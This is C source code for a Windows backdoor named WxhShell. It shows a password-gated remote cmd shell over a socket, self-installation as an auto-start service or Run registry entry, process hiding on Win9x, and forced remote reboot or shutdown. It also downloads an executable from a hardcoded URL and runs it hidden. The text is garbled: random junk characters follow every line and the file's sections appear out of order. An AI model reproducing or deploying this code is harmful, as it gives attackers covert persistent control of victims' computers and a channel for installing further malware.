    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~"<AYJlO  
    if(Boot(SHUTDOWN)) pH?tr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZpG1  
    else { ERql^Yr  
    closesocket(wsh); qqm7p ,j  
    ExitThread(0); mOLP77(o  
    } Cst:5m0!  
    break; t+R8{9L-  
    } -Qs4 s  
  // 获取shell RJ#xq#l  
  case 's': { \= M*x  
    CmdShell(wsh); +) pO82  
    closesocket(wsh); )czuJ5  
    ExitThread(0); s^ t1T&  
    break; p4 \r`  
  } Z#-:zD7_  
  // 退出 DI P(  
  case 'x': { a0vg%Z@!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t@a2@dX|  
    CloseIt(wsh); C?UV3  
    break; ZDmBuf q  
    } QzjLKjl7p4  
  // 离开 ^%^~:<N  
  case 'q': { 0>uMR{ #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q%.V\8#|V  
    closesocket(wsh); LuM[*_8  
    WSACleanup(); r ek89.p  
    exit(1); E^I|%F  
    break; Us4ijR d  
        } vgfLI}|5  
  } =:T pH>f*  
  } &^R0kCF`  
^Vl{IsY  
  // 提示信息 {8NnRnzU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DEGEr-  
} ,S|v>i, @  
  } |Rh%wJ  
*vx!twu1o  
  return; we<m%pf  
} ";jj`  
Q4gsOx P  
// shell模块句柄 +?xW%omy  
int CmdShell(SOCKET sock)  ~ccwu  
{ JEF2fro:Z  
STARTUPINFO si; K._tCB:  
ZeroMemory(&si,sizeof(si)); I}5#!s< {&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )qGw!^8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 67/&AiS?  
PROCESS_INFORMATION ProcessInfo; 8pc=Oor2Tv  
char cmdline[]="cmd"; MGH(= w1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _z:7Dj#  
  return 0; p[E}:kak_-  
} [L.+N@M  
[4V{~`sF  
// 自身启动模式 [25[c><:w"  
int StartFromService(void) ?v]EXV3  
{ HPGMR4=ANS  
typedef struct o% ZtE  
{ 7J ~usF>A  
  DWORD ExitStatus; MHs2UN  
  DWORD PebBaseAddress; M.|@|If4?  
  DWORD AffinityMask; Ae&470  
  DWORD BasePriority; l_K=7\N  
  ULONG UniqueProcessId; ;\P\0pI50  
  ULONG InheritedFromUniqueProcessId; OT6uAm+\7_  
}   PROCESS_BASIC_INFORMATION; k"*A@  
#G[S  
PROCNTQSIP NtQueryInformationProcess; I]HrtI  
WoP5[.G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [:cy.K!Uo%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wb*A};wE  
dLV>FpA\  
  HANDLE             hProcess; s?=v@|vz)  
  PROCESS_BASIC_INFORMATION pbi; `|Aj3a3sND  
[TUy><Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sW'SR  
  if(NULL == hInst ) return 0; L: hEt  
?:D#\4=US  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i:9f#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fi5x0El  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z=VAjJ;i[  
@" -[@  
  if (!NtQueryInformationProcess) return 0; K `|%-k+D  
UY@^KT]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9i hB;m'C)  
  if(!hProcess) return 0; H_*;7/&  
JI TQ3UL:W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vrr&Ve  
A4Dj4n0  
  CloseHandle(hProcess); Gqe?CM  
11%<bmJ]Q3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?`wO \>y  
if(hProcess==NULL) return 0; X,m6#vLK2  
Y?cdm}:Ou  
HMODULE hMod; X?m"86L  
char procName[255]; V)[ta`9  
unsigned long cbNeeded;  V6opV&  
nVkPYeeT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J2rw4L  
3v~804kWB  
  CloseHandle(hProcess); JmHEYPt0  
(/x%zmY;/U  
if(strstr(procName,"services")) return 1; // 以服务启动 nE$8-*BZ_  
u4 ##*m  
  return 0; // 注册表启动 TqzL]'NS+  
} }$6;g-|HX  
-4  ~(*  
// 主模块 TvV_Tz4e  
int StartWxhshell(LPSTR lpCmdLine) yV;_]_EO  
{ r_m*$r~f  
  SOCKET wsl; -0Ws3  
BOOL val=TRUE; 74Fv9  
  int port=0; &NvvaqJ  
  struct sockaddr_in door; !Ee#jCXS  
*V@>E2@  
  if(wscfg.ws_autoins) Install(); ]: VR3e"H  
0)@7$Xhf  
port=atoi(lpCmdLine); }n!$)W*?  
"pQFIV,  
if(port<=0) port=wscfg.ws_port; ]yc&ffe%  
="~yD[S  
  WSADATA data; teRK#: .P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; An cka  
%9bf^LyD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6V[ce4a%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \^l273  
  door.sin_family = AF_INET; {#-I;I:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qfRsp rRI"  
  door.sin_port = htons(port); 2)_Zz~P^f  
|wef[|@%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |f9fq~'1e  
closesocket(wsl); 28/At  
return 1; J|$(O$hYy  
} 2[^p6s[  
: `Nh}Ka0  
  if(listen(wsl,2) == INVALID_SOCKET) { 3&39M&  
closesocket(wsl); l1<]pdLTR  
return 1; ]@Gw$  
} #0;H'GO?c  
  Wxhshell(wsl); +(a}S$C  
  WSACleanup(); h-0#h/u>M  
w6b\l1Z  
return 0; rsr}%J  
`5J`<BPs  
} @51!vQwqR  
EbG`q!C  
// 以NT服务方式启动 G@Jl4iHug"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [I XX#^F  
{ K<BS%~,I  
DWORD   status = 0; orT%lHwjL  
  DWORD   specificError = 0xfffffff; wD*z >v$  
!(%^Tg=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nnw5 !q_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pn5A6 #  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mg7nv\6  
  serviceStatus.dwWin32ExitCode     = 0; F. N4Q'2Z  
  serviceStatus.dwServiceSpecificExitCode = 0; ZvQ~K(3  
  serviceStatus.dwCheckPoint       = 0; Iu3*`H  
  serviceStatus.dwWaitHint       = 0; F<W`zQ46  
:6N'%LKK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,PmQ}1kGW  
  if (hServiceStatusHandle==0) return; `W& :*  
k&<cFZU  
status = GetLastError(); be@\5  
  if (status!=NO_ERROR) \J)ffEKIp  
{ A2C|YmHk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }DCR(p rD  
    serviceStatus.dwCheckPoint       = 0; $e99[y@  
    serviceStatus.dwWaitHint       = 0; >v r! 3  
    serviceStatus.dwWin32ExitCode     = status; <@+>A$~0  
    serviceStatus.dwServiceSpecificExitCode = specificError; }3^b1D>2O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1 :*F8q  
    return; {[ E7Cf  
  } ;usv/8  
LTof$4s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ].A>ORS/  
  serviceStatus.dwCheckPoint       = 0; != @U~X|cu  
  serviceStatus.dwWaitHint       = 0; qGAb h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tf:4}6P1  
} X+R?>xq{=h  
wZAY0@pA  
// 处理NT服务事件,比如:启动、停止 I: j!A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lZ\Si  
{ *8WcRx  
switch(fdwControl) >TnV Lx<  
{ E~b Yk6  
case SERVICE_CONTROL_STOP: (Lp$EC&%6  
  serviceStatus.dwWin32ExitCode = 0; bD: yu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vX9B^W||x  
  serviceStatus.dwCheckPoint   = 0; &efwfnG<  
  serviceStatus.dwWaitHint     = 0; W-72&\7  
  { u'm[wjCj c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?E6*Ef  
  } N9|v%-_?)  
  return; ``Yw-|&:Ae  
case SERVICE_CONTROL_PAUSE: ]>:LHW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Za5bx,^  
  break; ~_;x o?@ba  
case SERVICE_CONTROL_CONTINUE: c@uNA0 p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lZ\8$,B)  
  break; );m7;}gE  
case SERVICE_CONTROL_INTERROGATE: CyWaXp65  
  break; +!'rw D  
}; Y[\ZN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {I]X-+D|_  
} Gtyy^tz[  
_&]B  
// 标准应用程序主函数 PX5K-|R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t9Sog~:'  
{  Z>O2  
t 7(#Cuv-  
// 获取操作系统版本 dHAI4Yf4U  
OsIsNt=GetOsVer(); <<ze84 E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K~U5jp c  
I_h8)W  
  // 从命令行安装 cTq}H_hC  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zy<gA >  
!8z,}HUdK  
  // 下载执行文件 V~9s+>  
if(wscfg.ws_downexe) { 3ZAPcpB2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^hMJNy&R  
  WinExec(wscfg.ws_filenam,SW_HIDE); X}-) io  
} @$e!|.{1q  
U}=o3u  
if(!OsIsNt) { 3T<aGW1  
// 如果时win9x,隐藏进程并且设置为注册表启动 RV&=B%w+  
HideProc(); $_u9Y!  
StartWxhshell(lpCmdLine); 7*a']W{aJ  
} i6.HR?n  
else 9"jhS0M  
  if(StartFromService()) o'`:$ (  
  // 以服务方式启动 gbl`_t/  
  StartServiceCtrlDispatcher(DispatchTable); }8zw| (GR,  
else nWyn}+C-  
  // 普通方式启动 ~ .dmfA{  
  StartWxhshell(lpCmdLine); 7e`ylnP!  
 4dd]Ju  
return 0; LH" CIL2  
} k9'`<82Y  
^xpiNP!?a  
 _xyq25/  
Zeeixg-1<  
=========================================== npJyVh47  
3Dm`8Xt  
65~X!90k  
>7fNxQ  
~0^d-,ZD5  
h"/y$  
" 0fpxr`  
{e1akg.  
#include <stdio.h> :M |<c9I  
#include <string.h> 2,3pmb  
#include <windows.h> >@mvb@4*  
#include <winsock2.h> DO^K8~]  
#include <winsvc.h> $?e_ l  
#include <urlmon.h> E&wz0d;gf  
^J[r<Dm8F  
#pragma comment (lib, "Ws2_32.lib") {cW%i:  
#pragma comment (lib, "urlmon.lib") AMm)E  
uxKj7!(#  
#define MAX_USER   100 // 最大客户端连接数 9A-=T>|of  
#define BUF_SOCK   200 // sock buffer ISbhC!59  
#define KEY_BUFF   255 // 输入 buffer m7F"kD  
bH7 lUS~  
#define REBOOT     0   // 重启 o~(/Twxam  
#define SHUTDOWN   1   // 关机 \MY`R  
Q.$|TbVfds  
#define DEF_PORT   5000 // 监听端口 v'vYN h  
VY@6!9G  
#define REG_LEN     16   // 注册表键长度 l?UFe$9(  
#define SVC_LEN     80   // NT服务名长度 5g-AB`6T  
A%zX LV=3O  
// 从dll定义API wS)2ymRg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3G;#QK -c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -%g$~MZ?'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5g$]ou  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k^Gf2%k  
RTJ\|#w  
// wxhshell配置信息 ):c)$$dn  
struct WSCFG { !=Hu?F p  
  int ws_port;         // 监听端口 e[:i`J2  
  char ws_passstr[REG_LEN]; // 口令 z+k[HE^S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4fq:W`9sN  
  char ws_regname[REG_LEN]; // 注册表键名 xe!([^l&  
  char ws_svcname[REG_LEN]; // 服务名 z"vI-~,YU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8(b C.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KH~o0 W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T"tR*2HwSd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p:/#nmC<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Oxf^x["]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Se!AcvKF  
?4^8C4  
}; +IM: jrT(  
KbcmK( `_  
// default Wxhshell configuration c=52*&  
struct WSCFG wscfg={DEF_PORT, ma%PVz`I;9  
    "xuhuanlingzhe", W{v{sQg  
    1, s[}4Q|s%  
    "Wxhshell", .EXe3!J)!  
    "Wxhshell", :|V`QM  
            "WxhShell Service", T[<deQ  
    "Wrsky Windows CmdShell Service", QR#L1+Hn  
    "Please Input Your Password: ", ,ezC}V0M  
  1, RM(MCle}  
  "http://www.wrsky.com/wxhshell.exe", Z +vT76g3  
  "Wxhshell.exe" ~@Wg3'&  
    }; .C=I~Z  
eBs4:R_i  
// 消息定义模块 BS@x&DB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vK10p)ZV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9bxBm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WA$Ug  
char *msg_ws_ext="\n\rExit."; m,"N 4a@  
char *msg_ws_end="\n\rQuit."; tS@J)p+_(  
char *msg_ws_boot="\n\rReboot..."; @}8~TbP  
char *msg_ws_poff="\n\rShutdown..."; b;O@|HK&~  
char *msg_ws_down="\n\rSave to "; x&N!SU6  
B'kV.3t  
char *msg_ws_err="\n\rErr!"; s;9>YV2at  
char *msg_ws_ok="\n\rOK!"; Uh tk`2O  
Jj :Bi&C  
char ExeFile[MAX_PATH]; JR_s-&GaM  
int nUser = 0; \{RMj"w:  
HANDLE handles[MAX_USER]; R=ipK63  
int OsIsNt; 4L`<xX;:{  
v[*&@aW0n  
SERVICE_STATUS       serviceStatus; MB:VACCr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2l YA% n  
U^@8ebv  
// 函数声明 E;>Bc Pt5  
int Install(void); O9_S"\8]@  
int Uninstall(void); 7F;dLd'  
int DownloadFile(char *sURL, SOCKET wsh); ~*-%tFSv  
int Boot(int flag); VGPBD-6)  
void HideProc(void); {$ (X,E  
int GetOsVer(void); n-5@<y^  
int Wxhshell(SOCKET wsl); rZt7C(FM$7  
void TalkWithClient(void *cs); -{=c T?"+  
int CmdShell(SOCKET sock); e+? -#  
int StartFromService(void); W bP wO  
int StartWxhshell(LPSTR lpCmdLine); .R<Ke\y/  
R'Y=- yF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2GB+st,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vo; B#lK  
p`CVq`k  
// 数据结构和表定义 B/n/bi8T  
SERVICE_TABLE_ENTRY DispatchTable[] = RhPEda2  
{ :9=J=G*  
{wscfg.ws_svcname, NTServiceMain}, Q 6)5*o8n  
{NULL, NULL} 3ZhB 8 P  
}; Onqd2'%<  
sgRD]SF  
// 自我安装 ^-Knx!z  
int Install(void) Z`9yGaTO  
{ l|Z<pD  
  char svExeFile[MAX_PATH]; y=H\Z/=  
  HKEY key; \dG#hH4ZD  
  strcpy(svExeFile,ExeFile); M.loG4r!  
>JWW2<  
// 如果是win9x系统,修改注册表设为自启动 UojHlTg#bT  
if(!OsIsNt) { f5droys9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Og8'K=O#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fd}B5!c  
  RegCloseKey(key); GY[+HgT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z ^w5x:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xwm-)~L4T  
  RegCloseKey(key); HfN:oww  
  return 0; "\:ZH[j  
    } Y unY'xY  
  } ?#cX_  
} Bv)4YU  
else { w2mLL?P  
7H=^~J  
// 如果是NT以上系统,安装为系统服务 7ql&UIeQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q~L"Mr8>V  
if (schSCManager!=0) `Qc_]CWYH  
{ 9W~3E^x  
  SC_HANDLE schService = CreateService Kr*s]O  
  ( pH'1be{K  
  schSCManager, R\+O.vX  
  wscfg.ws_svcname, 2S{IZ]  
  wscfg.ws_svcdisp, sXmZ0Dv  
  SERVICE_ALL_ACCESS, ju@5D h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Y2J)5,  
  SERVICE_AUTO_START, GkutS.2G#  
  SERVICE_ERROR_NORMAL, 2Y+8!4^L a  
  svExeFile, FQ72VY  
  NULL, >~% _U+6  
  NULL, ~Xf&<&5d T  
  NULL, >UQ`@GdafR  
  NULL, KioD/  
  NULL ZYBK'&J4m  
  ); h>l  
  if (schService!=0) d:x=g i!  
  { }&o*ZY-1  
  CloseServiceHandle(schService); LhM{d  
  CloseServiceHandle(schSCManager); t\p_QWnF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9m:qQ1[\  
  strcat(svExeFile,wscfg.ws_svcname); 3}}#'5D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  9kkYD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GsG9;6c+u  
  RegCloseKey(key); R^i8AbFW  
  return 0; NVFgRJ&  
    } <XfCQq/  
  } 4*<27  
  CloseServiceHandle(schSCManager); A^a9,T  
} 1Xv- e8M  
} /^ d!$v  
jq4{UW'  
return 1; fR4O^6c:  
} 9bDxml1  
>#MGGCGL  
// 自我卸载 - /s2'  
int Uninstall(void) j})6O!L.  
{ (:p&[HNuN  
  HKEY key; '$cU\DTN6  
m;v/(d>  
if(!OsIsNt) { 8")1,   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^<@9ph  
  RegDeleteValue(key,wscfg.ws_regname); #Moju  
  RegCloseKey(key); f y|Ae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mST/u>'  
  RegDeleteValue(key,wscfg.ws_regname); S"Q$ Ol"  
  RegCloseKey(key); oXR%A7  
  return 0; o,fBOPIN  
  } ={a8=E!;  
} 8-HMKD#V  
} k($N_XlE  
else { TT(d CHft  
"~f=7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'WUevPmt  
if (schSCManager!=0) 8#Q=CTjF  
{ iCouGd}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =;1MpD  
  if (schService!=0) ^[d|^fRH Q  
  { e/?>6'6 5  
  if(DeleteService(schService)!=0) { YdI|xu>0A^  
  CloseServiceHandle(schService); xl(];&A3  
  CloseServiceHandle(schSCManager); Z'%k`F  
  return 0; X3KP N  
  } *lN>RWbM%  
  CloseServiceHandle(schService); C?Sy90f  
  } ]< 0|"NL  
  CloseServiceHandle(schSCManager); XK)qDg  
} _Z:WgO].  
} hr8v O"tZN  
r9/PmZo4x  
return 1; +yq Z\$ii  
} r+BPz%wM=O  
& >AXB6  
// 从指定url下载文件 BO b#9r  
int DownloadFile(char *sURL, SOCKET wsh) Ny;(1N|&3  
{ &b 2Vt  
  HRESULT hr; (~r"N?`  
char seps[]= "/"; o3hsPzOQx  
char *token; B6gSt3w.  
char *file; +G3&{#D ?  
char myURL[MAX_PATH]; 1RtbQ{2F;  
char myFILE[MAX_PATH]; a& Ti44a[  
rZDmZm?=  
strcpy(myURL,sURL); xQ `>\f  
  token=strtok(myURL,seps); t` R#pQ  
  while(token!=NULL)  /{ .  
  { bP`.teO\  
    file=token; <Gy)|qpK[  
  token=strtok(NULL,seps); 0R,?$qM\  
  } VP$`.y  
'm@0[i  
GetCurrentDirectory(MAX_PATH,myFILE); 1{oq8LB  
strcat(myFILE, "\\"); F6gboo)SD  
strcat(myFILE, file); 9L}=xX`>?  
  send(wsh,myFILE,strlen(myFILE),0); i#t)tM"  
send(wsh,"...",3,0); -E4e8'P;5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1/Pou)D  
  if(hr==S_OK) \c&%F=1+*  
return 0; ?hh 4M  
else g4WN+y`  
return 1; ZB'/DO=i  
.`84Y  
} "CdL?(  
DiyviH  
// 系统电源模块 -hf)%o$  
int Boot(int flag) !"2nL%PW~  
{ #h@/~xr  
  HANDLE hToken; R 2uo ZA,  
  TOKEN_PRIVILEGES tkp; !3{> F"  
C>q,c3s5  
  if(OsIsNt) { g_G'%{T7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); **V^8'W<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ">}l8MA  
    tkp.PrivilegeCount = 1; y K~;LV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a%"My;8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G J=<~S"  
if(flag==REBOOT) { !5Ko^:+Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W8Z&J18AU  
  return 0; XV+s 5 C  
} '~{^c}  
else { GZ# 6}/;b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gaaW:**y  
  return 0; $srb!&~_>  
} LB_y lfg  
  } k&4@$;Ap  
  else { 3jIi$X06  
if(flag==REBOOT) { =dD<[Iz6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?b0VB  
  return 0; MR/jM@8  
} (MiEXU~v  
else { j?ihUNY!+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -b "7WBl  
  return 0; yjODa90!G  
} 7@u0;5p|  
} =(ts~^  
|?n=~21"1O  
return 1; utxT$1iJn~  
} P8DY*B k  
GwHMXtj4  
// win9x进程隐藏模块 $\l7aA5~  
void HideProc(void) TTaSg\K  
{ #(C2KRRiA  
HDU tLU d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ml` f+$  
  if ( hKernel != NULL ) |ahleu  
  { [#>ji+%=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LuQ4TT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1>OfJc(K  
    FreeLibrary(hKernel); [H5TtsQ[  
  } TN}YRXtW+  
]q DhGt  
return; aJlSIw*Q,  
} +2!J3{[J  
zXQ o pQ1  
// 获取操作系统版本 ">]v'h(s  
int GetOsVer(void) [Q &{#%M  
{ N"MuAUB:K  
  OSVERSIONINFO winfo; pqO}=*v@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2Q`@lTUv  
  GetVersionEx(&winfo); _4iTP$7[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %-!ruc"}  
  return 1; @e#eAJhU  
  else :SilQm*Pl  
  return 0; Ml)~%ZbF  
} 'awL!P--  
/w0l7N  
// 客户端句柄模块 O;c;>x_dA  
int Wxhshell(SOCKET wsl) pIdJ+gu(s  
{ @EH:4~  
  SOCKET wsh; @^oOXc,r$  
  struct sockaddr_in client; ^~Nz8PCY  
  DWORD myID; ^D8 YF  
Mp*")N,  
  while(nUser<MAX_USER) kRs(A~ngc  
{ elCDPZTf  
  int nSize=sizeof(client); :Xc%_&)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mi&,64<  
  if(wsh==INVALID_SOCKET) return 1; =s`\W7/;{-  
1UX"iO x(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z"8%W?o>  
if(handles[nUser]==0) WmTSxneo  
  closesocket(wsh); rD)yEuYX  
else Dk4Jg++  
  nUser++; +HNY!fv9  
  } XYIZ^_My  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [8AGW7_  
|i'V\" hW  
  return 0; p_S8m|%  
} MVU5+wX  
]5W0zNb*  
// 关闭 socket WUx}+3eWv  
void CloseIt(SOCKET wsh) rH7|r\]r  
{ Bsi HVr  
closesocket(wsh); Xk%92Pto  
nUser--; VH7VJ [  
ExitThread(0); #y13(u,dN  
} iLw O4i  
 $6w[h7  
// 客户端请求句柄 !qPVC\l  
void TalkWithClient(void *cs) YlD ui8.N  
{ P]:r'^Yn  
44 ,:@  
  SOCKET wsh=(SOCKET)cs; CrC1&F\dq  
  char pwd[SVC_LEN]; 'F3Xb  
  char cmd[KEY_BUFF]; YKq,`7"%  
char chr[1]; r=6-kC!T9  
int i,j; 62K7afH  
TB 9{e!4  
  while (nUser < MAX_USER) { ,-^Grmr4M  
!a?$  
if(wscfg.ws_passstr) { o@j]yA.5)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (3YCe{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xWlj.Tjt}  
  //ZeroMemory(pwd,KEY_BUFF); tr0P ;}=  
      i=0; {vh}f+2  
  while(i<SVC_LEN) { FOiwB^$ >  
2iHD$tw  
  // 设置超时 2= 'gC|&s6  
  fd_set FdRead; n;8[WR)  
  struct timeval TimeOut; U<J4\|1?7'  
  FD_ZERO(&FdRead); fCTdM+t  
  FD_SET(wsh,&FdRead); (&R /ns~  
  TimeOut.tv_sec=8; HbQ `b  
  TimeOut.tv_usec=0; 'PRsZ`x.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R=P=?U.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y`jvza%  
$j*%}x~[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Cbqi.iuQ  
  pwd=chr[0]; |k$^RU<OF  
  if(chr[0]==0xd || chr[0]==0xa) { FWI<_KZ O  
  pwd=0; ]s-;*o\H  
  break; x? 3U3\W  
  } W1S7%6y_1  
  i++; C o v,#j j  
    } [ sJ f)<  
'<_nL8A^  
  // 如果是非法用户,关闭 socket f*KNt_|:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ag=>F5  
} mUY+v>F  
a;JB8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7/QQ&7+NkS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 I>qD  
9qS~-'&q#  
while(1) { }&A!h  
$5kb3x<W  
  ZeroMemory(cmd,KEY_BUFF); DXu915  
FrBoE#  
      // 自动支持客户端 telnet标准   6lw)L  
  j=0; Q qGf*  
  while(j<KEY_BUFF) { a@:(L"Or  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :VpRpj4f  
  cmd[j]=chr[0]; o1<Y#db[  
  if(chr[0]==0xa || chr[0]==0xd) { 4ti\;55{W  
  cmd[j]=0; X!Ag7^E  
  break; P{j2'gg3  
  } g&eIfm  
  j++; i]&C=X  
    } ! J`>;&  
&nkYJi(!  
  // 下载文件 Hhx"47:  
  if(strstr(cmd,"http://")) { 3V ~871:-~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .vsrZ_y?  
  if(DownloadFile(cmd,wsh)) Q\.~cIw_AQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'CZfs\  
  else 2F9Gx;}t5=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~+w'b7T,=  
  } EH{m~x[Ei  
  else { Vb^P{F  
2noKy}q  
